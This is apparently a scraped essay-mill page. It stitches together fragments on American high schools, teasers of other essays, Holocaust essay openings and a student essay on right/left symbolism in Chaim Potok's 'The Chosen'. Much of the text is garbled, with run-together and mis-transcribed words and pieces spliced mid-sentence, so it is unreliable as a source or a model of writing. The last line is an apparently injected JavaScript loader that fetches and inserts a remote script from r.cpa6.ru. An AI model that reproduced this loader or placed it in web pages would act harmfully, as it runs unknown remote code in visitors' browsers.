High School Is An Essential Part Of A Student Formation

High school is one of the most important stages in the development of an individual. It is the first step of social and professional advancement. In high school we learn the necessary skills to succeed academically .The US, like in the rest of the world, treat high schools as an essential part of a students formation. The question is whether American high schools are able to keep up with an unwritten international standard for secondary education. High schools in the united states have three major problems. First, they tend to be places for social gathering rather than learning habitats for students. Another problem regards the low emphasis that is placed on the learning of the sciences and finally standardized testing questions how much meaningful learning takes place in the classroom. In order to optimize the solution of these problems we need to look closer into each of them. Socializing is a very important part of our lives. It is what makes us human and develops our personaliti es. Although socializing in educational institutions is important, it shouldn t be applied to the extent of transforming the true purpose of school, which is learning. In america, high school is seen as a social gathering place where the really important activities are interrupted by all those boring classes. For all but the best American students, the ones who attend AP classes and are accepted by the nations most renown colleges, high school is unchallenging. For example, student praiseShow MoreRelatedThank You For Taking The Time To Consider My Application1143 Words   |  5 PagesPrincipal position at Holy Spirit Catholic School. It excites me to learn about the current opening from my father and mother-in-law, Michael and Lynn Paul, who are parishioners at Holy Spirit. In visiting Holy Spirit over the last three years, the growth of the school has stunned me. The physical building was not the sole thing that impressed me, but meeting families from the school and reading the sc hool webpage revealed a deeper beauty that the school possesses. Maintaining a strong Catholic identityRead MorePrincipals Leadership Style Indirect Influence Studentssuccess1365 Words   |  6 Pagesleadership style indirect influence students’ success in elementary schools? Introduction The leadership style of school’s principals in U.S. elementary schools plays an indirect role in the academic success of students when is implicit a transformational approach in the principal’s behavior. I mentioned indirect impact, because the truly direct impact is toward the teachers, which, as a transitivity effect, impact as well the academic achievement of their students. The purpose of this paper is analyzeRead MoreThe Essential Characteristics Of The Army Profession1568 Words   |  7 PagesTurn on the TV or read a newspaper and it won’t be long before you hear or read about a high ranking military member being charged with or facing allegations of misconduct. As a result of recent headlines, we as a military organization are losing the sacred trust invested in us by the very people we are in uniform to protect, the American people. This includes the young men and women who will join our ranks on a daily basis. We as a professional organization need t o bring about a cultural changeRead MoreHigh School Sports Be A Drastic Decision Essay1165 Words   |  5 PagesPublic high schools in the United States are responsible for predominantly educating children in the classroom. However, an education should be well rounded and teach students about multiple different aspects of life. Fitness education, physical education, and high school athletics are competitive. Public high schools hold the responsibility to offer as many sports as possible and to support as many students to succeed. Terminating high school sports would be a drastic decision. â€Å"One 2010 study byRead MoreEducational Philosophies Influence Curriculum From The Establishment Of The American School Systems1133 Words   |  5 Pagesthe establishment of the American school systems. The five major philosophies that have influence American education are: 1) Idealism, 2) Essentialism, 3) Perennialism, 4) Progressivism, and 5) Experimentalism. Idealism, Essentialism, and Perennialism are all teacher-based philosophies putting the teacher at the core of the educational experience, with students being passive members of the classroom. In contrast, Progressivism and Experimentalism are student-centered philosophies that focus onRead MoreThe Association For Middle Level Education1463 Words   |  6 Pagesdecisions, preparation and planning and providing a safe and effective learning environment for the Middle Level Students. Standard One; Young Adolescent Development is imperative for being an adequate educator for this age level. In order to successfully fulfill these standards, it s important to understand the transitional years 10-15 year olds are experiencing at this time. These students will grow physically, intellectually, morally, psychologically and social-emotionally. Physically, young adolescentsRead MoreAnalysis of the Article Who Shall I Be?1631 Words   |  7 Pageswhat they were in the past or hiding what they dont like about themselves works. A student remains in a transition mode going through various good or bad experiences looking for that attractive clean slate. The life of high school is difficult as students tend to label other students and these labels may not represent the truth. There is a crisis of identity and time at college adds to this disorientation, students looking for a fresh start try to put on a likable character for others. This changeRead MoreLiterature On Teacher Professionalism And The Vocational Culture Of Teaching1529 Words   |  7 Pagesshare their knowledge and passion for a subject to their students. They do not only have the technical ability to teach but they also have the mental capacity to deal with many challenging students to assess each situation in a pragmatic manner. Teachers have collective attributes which help the students to learn and excel during their academic years. One of this is that they challenge the students by giving them extra work in order for the students to develop more skills to help them in their academicRead MoreTeaching Practices : Teaching Practice962 Words   |  4 Pagesexperience that is successful for them as well as for their students. There are different teaching practices, which include STEM. STEM is an abbreviation for Science, Technology, Engineering and Math education. These areas are focused together not just due to the knowledge and skills in every discipline are significant to the success of the student, but likewise since these fields are intensely tangled in the physical world and in the manner students learn most efficiently. STEM is an interdisciplinaryRead MoreMiddle School Curriculum Map Essay1323 Words   |  6 PagesMiddle School Curriculum Map Adolescent literacy has become an important focus in recent years when addressing concerns about the achievement gap. With this, there is a need to focus on integrating reading in secondary areas such as science. The National Science Education Standards describe scientific literacy as â€Å"the knowledge and understanding of scientific concepts and progresses required for personal decision making participation in civic and cultural affairs, and economic productivity†

The Tragedy Of The Holocaust - 3499 Words

Through the years, people have endured drastic hardships through their societal experiences; however, the holocaust seems to be the huge adversity to overcome. The holocaust has taught the society many things; although the world has not exactly learned from the experiences entirely. The holocaust is a learning experience still today, so that this generation will not repeat the same drastic measures. Many people today seem to think that the holocaust never happened; in spite of this, there are those that disagree. I have had the opportunity to listen to a firsthand account of the tragedy that happened several years ago, Marion Blumenthal Lazan wrote the Four Perfect Pebbles, and I had the opportunity to listen to her my freshmen year of high school. Though, I have had the experience of listening to her story, she is not the only one that is telling the experience that was encountered. Even though the Holocaust was in War World II, the Nazi regime did not come into effect until Adolf H itler was established as the dictator of Germany. Hitler’s ant-Semitism for the Jews lead to one of the biggest massacres in history , but it was because it was the center of his mental war . Though he was a German dictator, he was not seen as a typical German, he did not have blonde hair and blue eyes, he was born into an Austrian family. â€Å"Once Hitler assumed power he gradually began to impose regulations that persecuted the Jews and introduced his racist ideology in which Aryans wereShow MoreRelatedThe Tragedy Of The Holocaust1708 Words   |  7 PagesThe Holocaust is, by definition, a tragedy. HaShoah, the Hebrew word for the Holocaust, translates to â€Å"the catastrophe.† The very notion of humor during the Holocaust may seem incongruous, appalling, and wildly inappropriate. Tragedy is seen as serious, while comedy is typically lighthearted in nature. However, there is precedence for ‘comic relief,’ the presence of humor in tragedy with the des ired effect to relieve tension. Frequently, comic relief is used so that tragedy does not overshadow usRead MoreThe Tragedy Of The Holocaust945 Words   |  4 PagesSince the terrorist attack on Paris, to the natural disasters in Haiti; there have been a variety of tragic events that have occurred throughout history across the world. Perhaps one main tragedy that leaves people feeling baffled is the Holocaust. Eric Lichtblau described the Holocaust in his article, The Holocaust Just Got More Shocking, as a genocide in which Adolf Hitler’s Nazi Germany and its associates killed approximately six million Jewish people because the Nazis believed that exterminatingRead MoreThe Tragedy Of The Holocaust1599 Words   |  7 Pagesassigned Adolf Hitler as their chancellor. Once Hitler had finally reached power he set out to complete one goal, create a Greater Germany free from the Jews (â€Å"The reasons for the Holocaust,† 2009). This tragedy is known today as, â€Å"The H olocaust,† that explains the terrors of our histories past. The face of the Holocaust, master of death, and leader of Germany; Adolf Hitler the most deceitful, powerful, well spoken, and intelligent person that acted as the key to this mass murder. According to a researchRead MoreThe Tragedy Of The Holocaust922 Words   |  4 PagesFrom the terrorist attack on Paris, to the natural disasters in Haiti; there have been a variety of tragic events that have occurred throughout history across the world. Perhaps one main tragedy that leaves people feeling baffled is the Holocaust. Eric Lichtblau described the Holocaust in his article, The Holocaust Just Got More Shocking, as a genocide in which Adolf Hitler’s Nazi Germany and its associates killed around six million Jewish people because the Nazis believed that exterminating the JewishRead MoreThe Tragedy Of The Holocaust1063 Words   |  5 Pagesreligious family and a tough culture surrounding him, the Holocaust effected his life to the extreme but along with all his suffering and the tragedies in his life the Holocaust did not take him. He stuck by his believes and made it out alive. Born in Vilna with pride, it gave an eminent name to the Jewish people. He has four sisters, Rachel, Sonia, Doba and _. Also his mother and father, nephews and nieces. All but Rachel and he died of the Holocaust. In Vilna the Jews lived on one side of the street andRead MoreThe Tragedy Of The Holocaust1540 Words   |  7 Pagesdiverse in the cause; it is the indifference and ruthlessness that an individual portrays. This sort of behavior accommodates society and encourages people to accept and follow its routine and principles, such as the events that took place during the Holocaust. During the time period of 1933 to 1945, Adolf Hitler, an Austrian World War I veteran, decided to partake in twisted behavior. Hitler believed that in order to do his nation justice, the nation needed an ethnic cleansing. This ethnic cleansingRead MoreThe Tragedy Of The Holocaust1415 Words   |  6 PagesPrior to the holocaust, however, he exhibits none of these characteristics. He was kind, wealthy, and uncommonly resourceful, and his marriage to Anja was filled with compassion, intimacy, and love. Where now Vladek is now stubborn, irritable, and almost comically stingy with his money. His experiences in the Holocaust undoubtedly played a role in these dramatic personality changes. It wasn’t until the war started that Vladek got a little more precautious about a few things. Whenever a bad thingRead MoreThe Tragedy Of The Holocaust Essay1118 Words   |  5 PagesWithin the era of 1933 to 1945, races struggled through times of gloom, torment and hopelessness. The Holocaust was hard on numerous people, with little survivors and still influences individuals present lives today. The majority of the anguish was brought about as a result of one man’s conviction, that had the capacity to impact a whole nation. The holocaust was a genocide that was exclusively centered around hatred found in Germany. Propaganda was one of the main causes, which conditioned the peopleRead MoreThe Tragedy Of The Holocaust1034 Words   |  5 PagesIn every moment, people make choices that impact society, continually shaping history. During the Holocaust, when the Nazi Party incarcerated millions of Jews, ordinary European citizens and their everyday decisions and shaped history through an amass of cause and effects. Their decisions were greatly influenced by their understanding of the universe of obligation, which sociologist Helen Fein defines as â€Å"the circle of individuals and groups ‘toward whom obligations are owed, to whom rules applyRead MoreThe Tragedy Of The Holocaust1970 Words   |  8 PagesThe Holocaust, 9/11, wars and assassinations are common events that come to mind when thinking about history. These events tend to make people think that mankind is evil and will always choose to be evil. However, when looking at the people behind the evil doings, are they really killing for a selfish reason? Mankind will always do good for their nation, no m atter the cost. While most powerful leaders end up hurting many people, they either have good intentions behind the mask of people suffering

Symbolism In Chaim Potok free essay sample

# 8217 ; s The Chosen Essay, Research Paper Jeremy Leavitt Chaim Potok uses symbolism in The Chosen many different ways. One thing thatis symbolic in his book is the mention to the right and left sides of things. Throughoutthe book this is used to demo what the characters are like. First Potok illustrates the pointwhen Reuven # 8217 ; s left oculus is cut during the baseball game. It is used once more at the infirmary. Danny and his male parent besides illustrate the right and left manus symbolism. When Danny hit the ball at Reuven, it hit him in the left oculus. When Reuven was inthe infirmary unusual things happened to him on the lift. # 8220 ; It looked blurred, and I saw it alter colour from white to red to black, so back to white. # 8221 ; Reuven must hold seen things in a different visible radiation without the full usage of his left oculus, whichexplains why the fluorescent visible radiations in the lift changed the manner they did. WhenReuven woke up in the infirmary he could merely see through his right oculus and the windowshe looked at were blurred. More of the symbolism comes out as Reuven begins to familiarise himself with thesurroundings of the infirmary. Reuven met Tony Savo, on the bed to his left. Mr. Savowas a gladiator, and had been clopped plenty to acquire him to the infirmary. Mr. Savo # 8217 ; sright oculus had a spot on it. Mr. Savo says that the universe is brainsick and askew. He tellsReuven to watch out for himself because the universe is cockeyed. Because Mr. Savo onlyviews the universe through his left oculus it appears cockeyed. The symbolism in this shows leftto be worldly and cautious. To Reuven # 8217 ; s right side is Billy. Billy is blind. He is a little, delicate looking boywhich portrays the artlessness he has. Because Billy can # 8217 ; t see out of either oculus he doesn # 8217 ; tknow of the universe and is non affected by it. The symbolism portrayed here shows that theright is associated with artlessness and good. When Danny comes to see Reuven in the infirmary, the two of them leave to gotalk in the hall. Danny begins to play with his right earlock utilizing his right manus. Heseemed to be really absorbed in something, so he noticed that he was making it and he discontinue. # 8220 ; It # 8217 ; s funny, # 8221 ; he said. # 8220 ; It # 8217 ; s truly amusing. I have to be a rabbi and Don # 8217 ; t want to be one, you don # 8217 ; Ts have to be a rabbi and do desire to be one. It # 8217 ; s a brainsick world. # 8221 ; Here Danny is exemplifying his desire to larn of the universe, but he is restricted because ofhis spiritual duties, the right things to make. Danny told Reuven how he surveies Talmud and that he has a photographicmemory. He besides told Reuven about taking trips to the library in secret to larn aboutpsychology and non anger his male parent vastly. Danny # 8217 ; s universe is wholly of the rightside, isolated in his Hasidic com munity, with the force per unit areas of going the following tzaddik. Danny wants to spread out his cognition by analyzing psychological science and other things notassociated with Talmud, or left sided things. When Reuven was let out of the infirmary, he was allowed to utilize his spectacless, but hewas non allowed to read. # 8220 ; The universe jumped into focal point and everything looked all of a sudden bright and fresh and clean, as it does on an early forenoon with the Sun on the trees, and at that place was a newness everyplace, a feeling that I had been off a long clip in a dark topographic point and was now returning place to sunlight. # 8221 ; Reuven was deprived of the sight in his left oculus and couldn # 8217 ; t see the universe in the rightlight, he lost the balance necessary to see the universe decently. Once out of the hospitalhe could see, but wasn # 8217 ; t able to read, which still shut him off from the universe. After beingshut away from the universe for a hebdomad, Reuven noticed things he hadn # 8217 ; T before. # 8220 ; The hydrangea shrub # 8211 ; or snowball shrub, as we called it # 8211 ; on our lawn glowed in gt ; the sunshine and I stared at it. I had neer truly paid attending to it before. Now it seemed all of a sudden aglow and alive. # 8221 ; This shows how Reuven has realized for himself that the accident had brought about achange in him. When Reuven went to his temple he saw his fellow schoolmates, and he thoughtabout what it would be like to be blind, Reuven couldn # 8217 ; t grok it. After the servicesReuven was gazing at the sky and noticed the blue. It was the same colour as Danny # 8217 ; seyes, which were the same colour as the guiltless small Billy # 8217 ; s eyes. Danny is beingassociated to the small male child to the right of Reuven in the Hospital. When Reuven went to Danny # 8217 ; s temple, Danny # 8217 ; s younger brother sat to hisfather # 8217 ; s left and Danny and Reuven to the right. This may hold been because Danny wasnext in line to go tzaddik and his small brother was hence inferior to him which isthe ground he sat to the left of Reb Saunders and Danny sat to the right. Like the Saunders brothers, When Reuven went to Danny # 8217 ; s house to hold Talmudwars he would sit to the left of Reb Saunders and Danny would sit to the right. This issymbolic of how Reb Saunders knows that Danny is favored more and is more religiousthan Reuven, non a Hasid. One twenty-four hours Reuven received a phone call from Billy # 8217 ; s male parent. Reuven asked him ifBilly # 8217 ; s operation went good and Billy # 8217 ; s male parent said that it had non. Reuven so asked if hecould visit Billy, and Billy # 8217 ; s pa said that he had moved off. Reuven suddenlyremembered Mr. Savo and the loony, askew universe. Out of Reuven # 8217 ; s left oculus he saw afly trapped by a spider on a web. This is symbolic of Billy # 8217 ; s state of affairs. Billy was trappedby his sightlessness, and when person attempted to change his sightlessness it didn # 8217 ; t work and hemoved off. Just like Billy the fly was trapped and Reuven blew the web off and thefly disappeared. This is besides symbolic of Danny # 8217 ; s state of affairs. Danny is trapped by his male parent and thefact that he will someday hold to take over as tzaddik. But when Danny alters hissituation by analyzing psychological science and traveling to college he disappears as a Hasidic tzaddikand becomes a tzaddik to the universe and a follower of the commandments. Besides Danny # 8217 ; seyesight grows worse and worse as he studied psychological science and the spectacless he used hadlittle affect. He may hold been traveling blind, closer to the right like Billy, and non the leftafter all. This symbolism can besides assist to depict Reb Saunders state of affairs. Reb Saunders istrapped by his boy # 8217 ; s superb head. When he tries to alter his boy by raising him insilence he loses his boy. Possibly Danny lived his life sing the universe through his right oculus merely and nowhe is get downing to reconstruct the balance so that he can see things in a new visi ble radiation. # 8220 ; Danny nodded, his eyes glowing, luminous. # 8221 ; Danny # 8217 ; s eyes are described precisely the same manner as the sweet sand verbena shrub in Reuven # 8217 ; s frontyard. This evidently represents the fact that Danny is now seeing things he had non seenbefore. And he was being seen as neer seen before, with no face fungus or earlocks. In decision, Reuven may hold been illustrated at the left for more than onereason. The left provides balance for the right, an resistance. Danny was chosen as anopposition to his male parent and Reuven was chosen as an resistance to them both. Reuven atthe left helped Reb Saunders understand why his boy was making the things he was. Theright represents life devoted to one thing, in Reb Saunders instance Talmud, and the leftrepresents the worldly things such as Freud and deductive logic, which includes the rightbut besides has a balance. Possibly this is the major difference between the Hasids and theapikorism. Although they have harsh differences they need each other to last. 351 ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;